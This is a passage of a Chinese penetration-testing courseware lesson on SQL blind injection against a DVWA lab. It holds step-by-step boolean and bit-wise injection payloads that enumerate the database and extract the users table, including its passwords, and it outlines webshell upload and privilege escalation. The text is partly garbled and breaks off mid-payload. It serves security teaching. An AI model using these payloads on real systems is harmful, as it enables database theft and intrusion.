版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
項(xiàng)目六SQL盲注攻擊與防御項(xiàng)目描述項(xiàng)目分析項(xiàng)目小結(jié)項(xiàng)目訓(xùn)練實(shí)訓(xùn)任務(wù)項(xiàng)目描述SVU?公司新開(kāi)發(fā)了基于Web的用戶管理系統(tǒng),可以?使用用戶?ID?查詢用戶是否存在,
滲透測(cè)試工程師小?D?負(fù)責(zé)測(cè)試該功能的安全,并提出針對(duì)性的加固方案。因此,小?D?需要了解?SQL?盲注入攻擊的基礎(chǔ)知?識(shí)。本項(xiàng)目的具體要求如下:(1)測(cè)試盲注注入點(diǎn)類型;(2)測(cè)試?SQL?盲注繞過(guò)方法;(3)測(cè)試是否可以控制服務(wù)器;(4)針對(duì)測(cè)試結(jié)果,給出加固方?案。
與上個(gè)項(xiàng)目相同,與后面的項(xiàng)目也差不多?不應(yīng)該啊,每個(gè)項(xiàng)目的項(xiàng)目描述應(yīng)有所區(qū)別
這兩個(gè)項(xiàng)目都是SQL注入,只是返回信息不同,采取完全不同的注入方法項(xiàng)目分析SQL?盲注攻擊是攻擊者對(duì)數(shù)據(jù)庫(kù)進(jìn)行攻擊的常用手段之一。防御的方法是降低數(shù)據(jù)庫(kù)連接用戶的權(quán)限,對(duì)需要執(zhí)行的?SQL?命令進(jìn)行嚴(yán)格的代碼審計(jì)。針對(duì)上述情況,本項(xiàng)目的任務(wù)布置如下所?示。項(xiàng)目目標(biāo)(1)了解?SQL?盲注的基本原?理。(2)掌握不同數(shù)據(jù)庫(kù)的識(shí)別方法與原?理。(3)掌握不同數(shù)據(jù)庫(kù)的特?點(diǎn)。(4)利用?SQL?盲注完成對(duì)?MySQL?數(shù)據(jù)庫(kù)的滲透測(cè)?試。(5)學(xué)會(huì)程序設(shè)計(jì)中防御?SQL?盲注攻擊的基本方?法。項(xiàng)目分析項(xiàng)目任務(wù)列表(1)利用簡(jiǎn)單的?SQL?盲注分析基于布爾值的字符注入原?理。(2)利用簡(jiǎn)單的?SQL?盲注分析基于布爾值的字節(jié)注入原?理。(3)利用?SQL?盲注分析基于時(shí)間的注入原?理。(4)非文本框輸入的基于布爾值的字符注?入。(5)高等安全級(jí)別下基于布爾值的字符注?入。(6)使用?BurpSuite?工具暴力破解?SQL?盲?注。(7)SQL?盲注攻擊防?御。項(xiàng)目分析項(xiàng)目實(shí)施流程SQL注入攻擊的典型流程如下,如下圖4所示:(1)判斷?Web?系統(tǒng)使用的腳本語(yǔ)言,發(fā)現(xiàn)注入點(diǎn),并確定是否存在?SQL?盲注漏?洞。(2)判斷?Web?系統(tǒng)的數(shù)據(jù)庫(kù)類?型。(3)判斷數(shù)據(jù)庫(kù)中表及相應(yīng)字段的結(jié)?構(gòu)。(4)構(gòu)造注入語(yǔ)句,得到表中數(shù)據(jù)內(nèi)?容。(5)查找網(wǎng)站管理員后臺(tái),使用獲取的管理員賬號(hào)和密碼登?錄。(6)結(jié)合其他漏洞,設(shè)法上傳?Webshell。(7)進(jìn)一步提權(quán),得到服務(wù)器的系統(tǒng)權(quán)?限。發(fā)現(xiàn)注入點(diǎn)數(shù)據(jù)庫(kù)類型判斷表結(jié)構(gòu)判斷獲取數(shù)據(jù)獲取賬號(hào)上傳Websehll提權(quán)圖6-1SQL注入攻擊典型流程項(xiàng)目分析項(xiàng)目相關(guān)知識(shí)點(diǎn)SQL盲注注入類型判斷SQL注入與SQL盲注注入數(shù)據(jù)類型相同,都是兩種類型:數(shù)值型與字符型。盲注與非盲注的不同在于不會(huì)返回具體數(shù)據(jù),只返回?cái)?shù)據(jù)是不是存在,我們簡(jiǎn)單稱為正確(數(shù)據(jù)存在)或錯(cuò)誤(數(shù)據(jù)不存在),需要通過(guò)數(shù)據(jù)是否正確來(lái)判斷注入類型,在缺乏經(jīng)驗(yàn)的條件下,需要仔細(xì)設(shè)計(jì)注入數(shù)據(jù),通過(guò)注入數(shù)據(jù)與返回是否正確來(lái)推測(cè)注入類型。(1)、設(shè)計(jì)注入數(shù)據(jù)0與1-1,首選需要確定輸入數(shù)字0時(shí),返回錯(cuò)誤。結(jié)合兩個(gè)輸入值來(lái)判斷注入類型。如果1-1輸入后返回錯(cuò)誤,則說(shuō)明注入類型為數(shù)值型,因數(shù)值可以做1-1的數(shù)值運(yùn)算,結(jié)果為0;如果返回正確,則說(shuō)明為字符型注入,因?yàn)閷?-1作為字符串處理。(2)、使用0與1and1=2注入進(jìn)行判斷,首先確定輸入0時(shí)為錯(cuò)誤,如果輸入1and1=2返回錯(cuò)誤,則說(shuō)明為數(shù)值型注入,做了數(shù)值運(yùn)算;返回正確,則為字符型注入,作為字符串處理。項(xiàng)目分析(3)、使用1and1=1與1and1=2進(jìn)行判斷,如果返回值相同,則說(shuō)明字符型注入,都作為字符串處理;如果返回值,不相同則為字符型注入,作了數(shù)值運(yùn)算。(4)、使用1’and1=1#與1’and1=2#進(jìn)行判斷,如果返回值不相同,則說(shuō)明為字符型注入作為字符串處理;返回值相同,則為數(shù)值型注入,都為非法數(shù)據(jù),都多了一個(gè)單引號(hào)。SQL盲注數(shù)據(jù)庫(kù)類型判斷
在SQL注入章節(jié)中,對(duì)數(shù)據(jù)庫(kù)類型判斷,給出了詳細(xì)判斷方法,在本章節(jié)中
不在重復(fù)說(shuō)明,結(jié)合SQL注入章節(jié)中對(duì)數(shù)據(jù)庫(kù)類型的判斷知識(shí),對(duì)盲注數(shù)據(jù)庫(kù)判斷做進(jìn)一步分析。
在具體分析前需要將SQL注入與SQL盲注的區(qū)別進(jìn)行分析。在SQL注入中,如果注入數(shù)據(jù)合法,將會(huì)把數(shù)據(jù)顯示出來(lái),因此在構(gòu)造過(guò)程中,是構(gòu)造條件為真值,即使用“or”條件,或者是直接使用“union”聯(lián)合查詢將數(shù)據(jù)顯示,作為判斷依據(jù)。但是在SQL盲注中,針對(duì)輸入的數(shù)據(jù)只有兩種結(jié)果,正確或者錯(cuò)項(xiàng)目分析誤。因此在構(gòu)造過(guò)程中使用“and”條件,通過(guò)構(gòu)造語(yǔ)句是否正確判斷注入語(yǔ)句是否正確,進(jìn)一步推測(cè)判斷輸入數(shù)據(jù)是否合理。
在進(jìn)行數(shù)據(jù)庫(kù)類型判斷時(shí),可以使用函數(shù)exists(),進(jìn)行判斷,存在返回真值1,不存在返回假值0。結(jié)合表5.1中的函數(shù),再次將該表內(nèi)容列出如表6.1所示,作為數(shù)據(jù)庫(kù)類型判斷的依據(jù)。使用注入語(yǔ)句“1'andexists(select@@version)#”,如果返回正確,則說(shuō)明為數(shù)據(jù)庫(kù)類型為MicrosoftSQLServer或者M(jìn)ySQL,使用注入語(yǔ)句“1'andexists(selectversion())#”,如果返回正確,則說(shuō)明為MySQL;如果錯(cuò)誤,則為MicrosoftSQLServer。還可以使用SQL注入章節(jié)中涉及到的其他函數(shù)作為判斷依據(jù)。6.2項(xiàng)目分析表6-2在返回各種數(shù)據(jù)庫(kù)服務(wù)器時(shí)對(duì)應(yīng)的查詢數(shù)據(jù)庫(kù)服務(wù)器查詢MicrosoftSQLServerSELECT@@versionMySQLSELECTversion()SELECT@@versionOracleSELECTbannerFROMv$versionSELECTbannerFROMv$versionWHERErownum=1PostgreSQLSELECTversion()項(xiàng)目分析mysql>
select
sleep(1);
+----------+
|
sleep(1)
|
+----------+
|
0
|
+----------+
1
row
in
set
(1.00
sec)
MySQL中執(zhí)行sleep(n)用法Selectsleep(n)讓此語(yǔ)句運(yùn)行n秒鐘:該語(yǔ)句返回給客戶端的執(zhí)行時(shí)間顯示為等待了?1?秒。借助于?sleep(n)這個(gè)函數(shù)可以在?MySQLServer?的?processlist?中捕獲到執(zhí)行迅速、不易被查看到的語(yǔ)句,以確定程序是否確實(shí)在數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行了該語(yǔ)句。例如,在調(diào)試時(shí)想確定程序是否向服務(wù)器發(fā)起了執(zhí)行?SQL?語(yǔ)句的請(qǐng)求,可以通過(guò)執(zhí)行?showprocesslist?或由?information_cesslist?表來(lái)查看語(yǔ)句是否出現(xiàn)。但往往語(yǔ)句執(zhí)行速度非常快,很難通過(guò)上述方法確定語(yǔ)句是否真正被執(zhí)行了。例如,下述語(yǔ)句的執(zhí)行時(shí)間為?0.00?秒,線程信息一閃而過(guò),根本無(wú)從察?覺(jué)。項(xiàng)目分析mysql>
select
name
from
animals
where
name='tiger';
+-------+
|
name
|
+-------+
這|
tiger
|
+-------+
1
row
in
set
(0.00
sec)
在這種情況下,可以通過(guò)在語(yǔ)句中添加一個(gè)sleep(N)函數(shù),強(qiáng)制讓語(yǔ)句停留N秒鐘,來(lái)查看后臺(tái)線程,例如:mysql>
select
sleep(1),name
from
animals
where
name='tiger';
+----------+-------+
|
sleep(1)
|
name
|
+----------+-------+
|
0
|
tiger
|
+----------+-------+
1
row
in
set
(1.00
sec)
項(xiàng)目分析同樣的條件該語(yǔ)句返回的執(zhí)行時(shí)間為1.0秒。但是使用這個(gè)辦法是有前提條件的,也只指定條件的記錄存在時(shí)才會(huì)停止指定的秒數(shù),例如查詢條件為name='pig',結(jié)果表明記錄不存在,執(zhí)行時(shí)間為0mysql>
select
name
from
animals
where
name='pig';
Empty
set
(0.00
sec)
在這樣一種條件下,即使添加了sleep(N)這個(gè)函數(shù),語(yǔ)句的執(zhí)行還是會(huì)一閃而過(guò),例如:[sql]
viewplain
copymysql>
select
sleep(1),name
from
animals
where
name='pig';
Empty
set
(0.00
sec)另外需要注意的是,添加sleep(N)這個(gè)函數(shù)后,語(yǔ)句的執(zhí)行具體會(huì)停留多長(zhǎng)時(shí)間取決于滿足條件的記錄數(shù),MySQL會(huì)對(duì)每條滿足條件的記錄停留N秒鐘。項(xiàng)目分析例如,namelike'%ger'的記錄有?3?條:mysql>
select
name
from
animals
where
name
like
'%ger';+-------+
|
name
|
+-------+
|
ger
|
|
iger
|
|
tiger
|
+-------+
3
rows
in
set
(0.00
sec)
那么針對(duì)該語(yǔ)句添加了sleep(1)這個(gè)函數(shù)后語(yǔ)句總的執(zhí)行時(shí)間為3.01秒,可得出,MySQL對(duì)每條滿足條件的記錄停留了1秒中。mysql>
select
sleep(1),name
from
animals
where
name
like
'%ger';
+----------+-------+
|
sleep(1)
|
name
|
+----------+-------+
|
0
|
ger
|
|
0
|
iger
|
|
0
|
tiger
|
+----------+-------+
3
rows
in
set
(3.01
sec)
項(xiàng)目小結(jié)
通過(guò)前一節(jié)的項(xiàng)目分析我們介紹了SQL盲注實(shí)施攻擊的步驟和原理。SQL盲注的本質(zhì)是惡意攻擊者將SQL代碼插入或添加到程序的參數(shù)中,而程序并沒(méi)有對(duì)傳入的參數(shù)進(jìn)行正確處理,導(dǎo)致參數(shù)中的數(shù)據(jù)會(huì)被當(dāng)做代碼來(lái)執(zhí)行,并最終將執(zhí)行結(jié)果返回給攻擊者。
利用SQL盲注漏洞,攻擊者可以操縱數(shù)據(jù)庫(kù)的數(shù)據(jù),如得到數(shù)據(jù)庫(kù)中的機(jī)密數(shù)據(jù)、隨意更改數(shù)據(jù)庫(kù)中的數(shù)據(jù)、刪除數(shù)據(jù)庫(kù)等等,在得到一定權(quán)限后還可以掛馬,甚至得到整臺(tái)服務(wù)器的管理員權(quán)限。由于SQL盲注是通過(guò)網(wǎng)站正常端口(通常為80端口)來(lái)提交惡意SQL語(yǔ)句,表面上看起來(lái)和正常訪問(wèn)網(wǎng)站沒(méi)有區(qū)別,如果不仔細(xì)查看WEB日志很難發(fā)現(xiàn)此類攻擊,隱蔽性非常高。一旦程序出現(xiàn)SQL盲注漏洞,危害相當(dāng)大,所以我們對(duì)此應(yīng)該給予足夠的重視。本項(xiàng)目完成后,需要提交項(xiàng)目總結(jié)內(nèi)容清單如下表所示:項(xiàng)目小結(jié)表6-3項(xiàng)目提交清單內(nèi)容序號(hào)清單項(xiàng)名稱備注1項(xiàng)目準(zhǔn)備說(shuō)明包括人員分工、實(shí)驗(yàn)環(huán)境搭建、材料工具等,2項(xiàng)目需求分析內(nèi)容包括介紹SQL盲注攻擊的主要步驟和一般流程;分析SQL盲注攻擊的主要原理、常見(jiàn)攻擊工具的分類和特點(diǎn)。3項(xiàng)目實(shí)施過(guò)程內(nèi)容包括實(shí)施過(guò)程,具體配置步驟4項(xiàng)目結(jié)果展示內(nèi)容包括對(duì)目標(biāo)系統(tǒng)實(shí)施SQL盲注攻擊和加固的結(jié)果,可以以截圖或錄屏的方式提供項(xiàng)目結(jié)果。6.1實(shí)驗(yàn)環(huán)境本章節(jié)中的所有實(shí)驗(yàn)環(huán)境都是安裝在winxp虛擬機(jī)中,在虛擬機(jī)中使用的實(shí)驗(yàn)環(huán)境為DVWA實(shí)驗(yàn)環(huán)境,使用python-2.7、DVWA-1.9、xampp-win32-1.8.0-VC9-installer三個(gè)軟件搭建。使用到了中國(guó)菜刀、Burpsuit工具。Burpsuit運(yùn)行環(huán)境需要安裝jre,工具為:burpsuite_pro_v1.7.03、jre-8u111-windows-i586_8.0.1110.14、Firefox_152_setup。在本章節(jié)命令注入實(shí)驗(yàn)中使用物理機(jī)作為攻擊機(jī),虛擬機(jī)作為靶機(jī)。1、打開(kāi)靶機(jī)虛擬機(jī),在虛擬機(jī)中打開(kāi)桌面上的xampp程序確保Apache服務(wù)器與數(shù)據(jù)庫(kù)MySQL處于運(yùn)行狀態(tài),如下圖所示:6.2基于布爾值的字符注入圖6-2靶機(jī)運(yùn)行狀態(tài)6.2基于布爾值的字符注入2、查看靶機(jī)服務(wù)器ip地址,在運(yùn)行中運(yùn)行cmd開(kāi)啟msdos窗口,在dos中運(yùn)行ipconfig,查看當(dāng)前服務(wù)器的ip地址,如下圖所示:圖6-3查看靶機(jī)ip地址6.2基于布爾值的字符注入3、在攻擊機(jī)中打開(kāi)瀏覽器輸入靶機(jī)的ip地址,因?yàn)槲覀兪窃贒VWA平臺(tái)中進(jìn)行滲透測(cè)試,因此完整的路徑為靶機(jī)ip地址+dvwa,具體為31/dvwa/login.php,在滲透平臺(tái)中需要使用用戶名與密碼登錄,默認(rèn)賬號(hào)為用戶名:admin;密碼:password。如下圖所示:圖6-4登錄DVWA平臺(tái)6.2基于布爾值的字符注入4、登錄?DVWA?平臺(tái)后可以看到如圖?6-5?所示的設(shè)置安全級(jí)別界面,在左側(cè)列表中選擇“DVWASecurity”選項(xiàng),本實(shí)驗(yàn)主要利用?SQL?盲注滲透分析漏洞原理,因此設(shè)置安全級(jí)別為“Low”,然后單擊“Submit”按?鈕。圖6-5DVWASecurity安全級(jí)別設(shè)置6.2基于布爾值的字符注入5、在如圖?6-5?所示的界面中,選擇左側(cè)列表中的“SQLInjection(Blind)”選項(xiàng),進(jìn)行?SQL?盲注實(shí)驗(yàn)。在圖?6-6?所示的實(shí)驗(yàn)環(huán)境中,輸入正確的數(shù)據(jù)。根據(jù)提示,需要輸入?UserID,在文本框中輸入數(shù)字“1”,然后單擊“Submit”按鈕,返回結(jié)果如圖?6-6?所?示。圖6-6正確輸入返回值6.2基于布爾值的字符注入6、由上圖知,在輸入正確數(shù)據(jù)返回值為“UserIDexistsinthedatabase.”后面簡(jiǎn)稱為“正確”。輸入錯(cuò)誤數(shù)據(jù)查看返回值為“UserIDisMISSINGfromthedatabase”后面簡(jiǎn)稱為“錯(cuò)誤”。輸入“0、m、100”結(jié)果如下圖所示:圖6-7錯(cuò)誤返回?cái)?shù)據(jù)6.2基于布爾值的字符注入7、下面對(duì)是否存在注入漏洞進(jìn)行判斷。使用注入語(yǔ)句“1or1=1”與“1'or1=1#”,進(jìn)行注入漏洞判斷,返回結(jié)果如圖?6-10?所示。對(duì)于注入的兩條語(yǔ)句,返回結(jié)果都正確,所以可以判斷存在注入漏?洞。圖6-8注入漏洞判斷6.2基于布爾值的字符注入8、下面對(duì)注入類型進(jìn)行判斷。在此使用“0”與“1-1”進(jìn)行判斷。使用“1and1=2”進(jìn)行注入類型驗(yàn)證,由返回結(jié)果可以得出,注入類型為字符型注入(如圖?6-11?和圖?6-12?所?示)。圖6-9注入類型判斷6.2基于布爾值的字符注入9、對(duì)數(shù)據(jù)庫(kù)類型進(jìn)行判斷,使用注入語(yǔ)句“1'andexists(select@@version)#”與“1'andexists(selectversion())#”,返回結(jié)果分別如圖?6-13?和圖?6-14?所示,由結(jié)果可以判斷為?MySQL?數(shù)據(jù)庫(kù)。圖6-10數(shù)據(jù)庫(kù)類型判斷6.2基于布爾值的字符注入10、通過(guò)前面的測(cè)試與信息收集,可以確定存在SQL盲注漏洞且為字符型注入漏洞、數(shù)據(jù)庫(kù)類型為MySQL數(shù)據(jù)庫(kù)。下面可以針對(duì)性對(duì)數(shù)據(jù)庫(kù)進(jìn)行注入,針對(duì)SQL盲注分為基于布爾的盲注、基于時(shí)間的盲注。針對(duì)數(shù)據(jù)不同處理方法分為ASCII注入、字節(jié)注入,結(jié)合前面的類型,存在四中不同的注入方法,基于布爾的ASCII注入、基于布爾的字節(jié)注入、基于時(shí)間的ASCII注入、基于時(shí)間的字節(jié)注入。下面采用基于布爾的ASCII注入方法,完成SQL盲注。11、使用database()函數(shù)獲取當(dāng)前數(shù)據(jù)庫(kù),因是盲注,只返回正確與錯(cuò)誤,無(wú)法將具體值返回顯示,因此需要做較詳細(xì)的判斷,首先在使用database()函數(shù)獲取到數(shù)據(jù)庫(kù)名稱后,需要判斷出該名稱的長(zhǎng)度與名稱字符組成。使用注入語(yǔ)句“1'andlength(database())=1#”做判斷,顯示結(jié)果如下圖所示,可以看到為錯(cuò)誤,所以判斷長(zhǎng)度不為1,繼續(xù)將1替換為2、3、4等值作為注入,在注入過(guò)程中發(fā)現(xiàn),當(dāng)注入語(yǔ)句為“1'andlength(database())=4#”時(shí)返回值為正確,所以可以判斷數(shù)據(jù)庫(kù)長(zhǎng)度為4。因SQL盲注返回結(jié)果比較單一,只有兩個(gè)值“正確”、“錯(cuò)誤”,后面實(shí)驗(yàn)中不再截圖作為演示。6.2基于布爾值的字符注入圖6-11數(shù)據(jù)庫(kù)名稱長(zhǎng)度判斷6.2基于布爾值的字符注入12、分析數(shù)據(jù)庫(kù)名稱字符組成,需要將數(shù)據(jù)庫(kù)名稱中的?4?個(gè)字符逐一判斷出來(lái)。本實(shí)驗(yàn)使用?ASCII?碼進(jìn)行判斷,需要知道大寫(xiě)字符與小寫(xiě)字符的?ASCII?碼值。大寫(xiě)字符?A~Z?的?ASCII?碼值為?65~90,小寫(xiě)字符?a~z?的?ASCII?碼值為?97~122。需要判斷出每個(gè)字符的?ASCII?碼值,然后對(duì)照?ASCII?碼表,獲取每個(gè)字符。在進(jìn)行字符判斷時(shí)通常使用二分法,這樣可以減少判斷次數(shù),不需要對(duì)逐個(gè)值進(jìn)行判斷。以一個(gè)小寫(xiě)字符為例,逐一比較,最多需要比較?26?次;采用二分法,最多需要比較?5?次。下面采用二分法獲取字符如?下:
第一個(gè)字符區(qū)分是大寫(xiě)還是小寫(xiě):1'andascii(substr(database(),1,1))>97#,返回正確,可以斷定為小寫(xiě)字符,1'andascii(substr(database(),1,1))>109#,返回錯(cuò)誤,可以判斷在98-109之間。使用1'andascii(substr(database(),1,1))>103#,返回錯(cuò)誤,判斷值在98-103之前。使用1'andascii(substr(database(),1,1))>100#,返回錯(cuò)誤,判斷在98-100之間。使用1'andascii(substr(database(),1,1))>99#,返回正確,值大于99正確,大于100錯(cuò)誤,所以值為大于99,小于等于100,因都是整數(shù)值,6.2基于布爾值的字符注入所以值為100,對(duì)應(yīng)ASCII碼表,確定第一個(gè)字符為“d”。使用相同的測(cè)試方法,獲取其他字符,可以獲取到數(shù)據(jù)庫(kù)名為“dvwa”。函數(shù)substr(字符串,n,m),在該函數(shù)中,n字符串起始位置,m為取字符個(gè)數(shù),例如上面函數(shù)中n、m都為1,表示從第一個(gè)字符開(kāi)始取一個(gè)字符,即取第一個(gè)字符。將substr(字符串,n,m)中n值由1到4,m值為1不變,使用1'andascii(substr(database(),2,1))>97#,進(jìn)行注入,可以猜測(cè)到數(shù)據(jù)庫(kù)完整名稱為“dvwa”。13、猜測(cè)到數(shù)據(jù)庫(kù)名稱后,要將數(shù)據(jù)庫(kù)中的數(shù)據(jù)猜測(cè)出來(lái),首先需要猜測(cè)收集數(shù)據(jù)庫(kù)中有多少個(gè)表。使用“1'and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1#”進(jìn)行注入,如果返回為錯(cuò)誤,則有多于一個(gè)表,經(jīng)過(guò)測(cè)試發(fā)現(xiàn)當(dāng)“1'and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=2#”時(shí)返回正確,可以得到dvwa數(shù)據(jù)庫(kù)中有兩個(gè)數(shù)據(jù)表。6.2基于布爾值的字符注入14、要獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù),還需要收集表名、表中列字段的個(gè)數(shù)和列?名。
已知數(shù)據(jù)庫(kù)中有兩個(gè)數(shù)據(jù)表,下面以第一個(gè)數(shù)據(jù)表為例,進(jìn)行下一步的數(shù)據(jù)注入。要獲取表名,需要知道表名中有幾個(gè)字符,因此首先判斷第一個(gè)表的名稱長(zhǎng)度,使用注入語(yǔ)句“1‘a(chǎn)ndlength(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1#”,返回錯(cuò)誤,直到等號(hào)后面的值從?1?變?yōu)?9?時(shí),返回正確,說(shuō)明表的名稱長(zhǎng)度為?9。這里使用了?limit?關(guān)鍵字返回篩選數(shù)據(jù)的行數(shù),“l(fā)imitm,n”表示從第
m(m?從最小值?0?開(kāi)始)行開(kāi)始取
n?行數(shù)據(jù),“l(fā)imit0,1”表示從第一行(0)開(kāi)始取一行數(shù)據(jù),即將篩選數(shù)據(jù)中的第一行返回。經(jīng)過(guò)測(cè)試得到兩個(gè)表名長(zhǎng)度分別為?9?和?5。6.2基于布爾值的字符注入15、獲取到數(shù)據(jù)表長(zhǎng)度后,需要測(cè)試獲取數(shù)據(jù)表的名稱,使用注入語(yǔ)句“1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97#”,獲取第一個(gè)表中的第一個(gè)字符,并將字符值轉(zhuǎn)換為對(duì)應(yīng)的ASCII碼值,使用二分方法判斷值為多少,(參照任務(wù)1中12步驟)使用二分法逐一獲取到兩個(gè)表名的所有字符,分別為“guestbook、users”。16、獲取到表名后,需要獲取列的信息,包括列字段個(gè)數(shù),每個(gè)列字段長(zhǎng)度,以及每個(gè)列字段的每個(gè)字符。使用注入語(yǔ)句“1'and(selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1#”,猜測(cè)users表中列字段個(gè)數(shù),將等號(hào)后數(shù)字1,從1到8,當(dāng)值為8時(shí),返回值為正確,所以確定users表中有八個(gè)列字段。17、獲取users表中的第一個(gè)列字段,判斷第一個(gè)列字段的長(zhǎng)度,使用注入語(yǔ)句“1'andlength(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1#”,返回錯(cuò)誤,當(dāng)值從1到7,當(dāng)值為7時(shí)返回正確,可以確定第一列長(zhǎng)度為7,逐一判斷8個(gè)列字段長(zhǎng)度,分別為“7、10、9、4、8、6、10、12”。6.2基于布爾值的字符注入18、采用二分法逐一判斷列字段中的每一個(gè)字符,以第一列字段為例,使用注入語(yǔ)句“1'andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1,1))>1#”,逐一判斷,可以確定users表8個(gè)列字段,分別為“user_id、first_name、last_name、user、password、avatar、last_login、failed_login”。19、現(xiàn)在可以使用列字段名稱,讀取表中數(shù)據(jù),以u(píng)sers表中user列為例,使用注入語(yǔ)句“1'and(selectcount(user)fromusers)=1#”,對(duì)表中行數(shù)進(jìn)行統(tǒng)計(jì)。值從1到6逐一判斷,當(dāng)值為6時(shí),返回值為正確,可以判斷,表中行數(shù)為6行。20、判斷users表中user列,第一行數(shù)據(jù)的長(zhǎng)度,使用注入語(yǔ)句“1'andlength(substr((selectuserfromuserslimit0,1),1))=1#”,返回錯(cuò)誤,當(dāng)值從1到5逐一判斷,當(dāng)值為5時(shí),返回正確,則users表中user列中第一行數(shù)據(jù)長(zhǎng)度為5。6.2基于布爾值的字符注入21、下面分析上述?5?個(gè)字符分別是什么,使用注入語(yǔ)句“1'andascii(substr((selectuserfromuserslimit0,1),1,1))>97#”,采用二分法逐一獲取每個(gè)字符,可以得到第一行數(shù)據(jù)為“admin”。22、繼續(xù)按照步驟(19)~(20)操作,獲取?users?表中的所有數(shù)?據(jù)。任務(wù)2利用簡(jiǎn)單的SQL盲注分析基于布爾的字節(jié)注入原理
基于字節(jié)注入,需要知道計(jì)算機(jī)在存儲(chǔ)中,英文字符使用一個(gè)字節(jié),存儲(chǔ)一個(gè)漢字為兩個(gè)字節(jié)進(jìn)行存儲(chǔ),假設(shè)實(shí)驗(yàn)中數(shù)據(jù)都為英文字符,因此只需要處理一個(gè)字節(jié)的數(shù)據(jù)即可。一個(gè)字節(jié)是有八個(gè)比特位組成,比特位從高位到低位每一位代表的十進(jìn)制數(shù)據(jù)如下表所示。6.3基于布爾值的字節(jié)注入任務(wù)2利用簡(jiǎn)單的SQL盲注分析基于布爾的字節(jié)注入原理在計(jì)算機(jī)中,英文字符使用?1?字節(jié)存儲(chǔ),漢字使用?2?字節(jié)存儲(chǔ)。假設(shè)本實(shí)驗(yàn)中的數(shù)據(jù)都為英文字符,因此只需要處理?1?字節(jié)數(shù)據(jù)。1?字節(jié)由?8?個(gè)二進(jìn)制位組成,字節(jié)二進(jìn)制位對(duì)應(yīng)的十進(jìn)制數(shù)據(jù)見(jiàn)表?6-2。6.3基于布爾值的字節(jié)注入表6-4字節(jié)位數(shù)的值字節(jié)二進(jìn)制位十進(jìn)制數(shù)據(jù)10000000128010000006400100000320001000016000010008000001004000000102000000011
將一個(gè)字節(jié)分別與上面表中的八個(gè)二進(jìn)制位進(jìn)行位“&”運(yùn)算(如下表所示),即可將一個(gè)字節(jié)的每一位取出來(lái)。由表6-5知,兩個(gè)數(shù)做&運(yùn)算,當(dāng)兩個(gè)值都為1時(shí)為1,其他時(shí)候值為0。當(dāng)一個(gè)值為1或0,與1做&運(yùn)算還是1或0,還是原來(lái)的數(shù)值,保持不變。當(dāng)一個(gè)值為1或0,與一個(gè)值0做&運(yùn)算,結(jié)果都為0。6.3基于布爾值的字節(jié)注入表6-5&運(yùn)算數(shù)1數(shù)2&結(jié)果111100010000運(yùn)用&運(yùn)算的特性,可以將每一個(gè)位取出,例如一個(gè)二進(jìn)制位“10011100”與表6-4中的八個(gè)二進(jìn)制位做&運(yùn)算,結(jié)果如下表。6.3基于布爾值的字節(jié)注入表6-6取每一位值字節(jié)二進(jìn)制位固定字節(jié)&結(jié)果十進(jìn)制數(shù)值邏輯值1000000010011100100000001281(真值)01000000100111000000000000(假值)00100000100111000000000000(假值)000100001001110000010000161(真值)00001000100111000000100081(真值)00000100100111000000010041(真值)00000010100111000000000000(假值)00000001100111000000000000(假值)
由上表可知,做&算后會(huì)返回每一位的值,使用基于字節(jié)的注入方法,優(yōu)點(diǎn)是每一個(gè)字符的判斷只需要運(yùn)行八次就可做準(zhǔn)確判斷。缺點(diǎn)是每一個(gè)字符最少也要做八次判斷。采用二分法128個(gè)字符,最多需要2n>=128,即n為7,最多需要7次。重復(fù)任務(wù)1的步驟只是注入語(yǔ)句發(fā)生變化,在該任務(wù)中,簡(jiǎn)單描述注入語(yǔ)句與注入結(jié)果。6.3基于布爾值的字節(jié)注入1、測(cè)試判斷數(shù)據(jù)庫(kù)長(zhǎng)度,注入語(yǔ)句為:1'andascii(length(database()))&128=128# 錯(cuò)誤1'andascii(length(database()))&64=64# 錯(cuò)誤1'andascii(length(database()))&32=32# 正確1'andascii(length(database()))&16=16# 正確1'andascii(length(database()))&8=8# 錯(cuò)誤1'andascii(length(database()))&4=4# 正確1'andascii(length(database()))&2=2# 錯(cuò)誤1'andascii(length(database()))&1=1# 錯(cuò)誤由上面的邏輯值可知,二進(jìn)制位為“00110100”轉(zhuǎn)換為十進(jìn)制為“52”,在ASCII碼表中,十進(jìn)制值為52的字符為數(shù)字4,所以數(shù)據(jù)庫(kù)名長(zhǎng)度為4。2、數(shù)據(jù)庫(kù)名每一個(gè)字符的判斷,使用注入語(yǔ)句“1'andascii(substr(database(),1,1))&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。如下所示,有邏輯值可知,二進(jìn)制位“01100100”,十進(jìn)制數(shù)值為“100”,對(duì)應(yīng)ASCII碼表中字符“d”。6.3基于布爾值的字節(jié)注入1'andascii(substr(database(),1,1))&128=128# 錯(cuò)誤1'andascii(substr(database(),1,1))&64=64# 正確1'andascii(substr(database(),1,1))&32=32# 正確1'andascii(substr(database(),1,1))&16=16# 錯(cuò)誤1'andascii(substr(database(),1,1))&8=8# 錯(cuò)誤1'andascii(substr(database(),1,1))&4=4# 正確1'andascii(substr(database(),1,1))&2=2# 錯(cuò)誤1'andascii(substr(database(),1,1))&1=1# 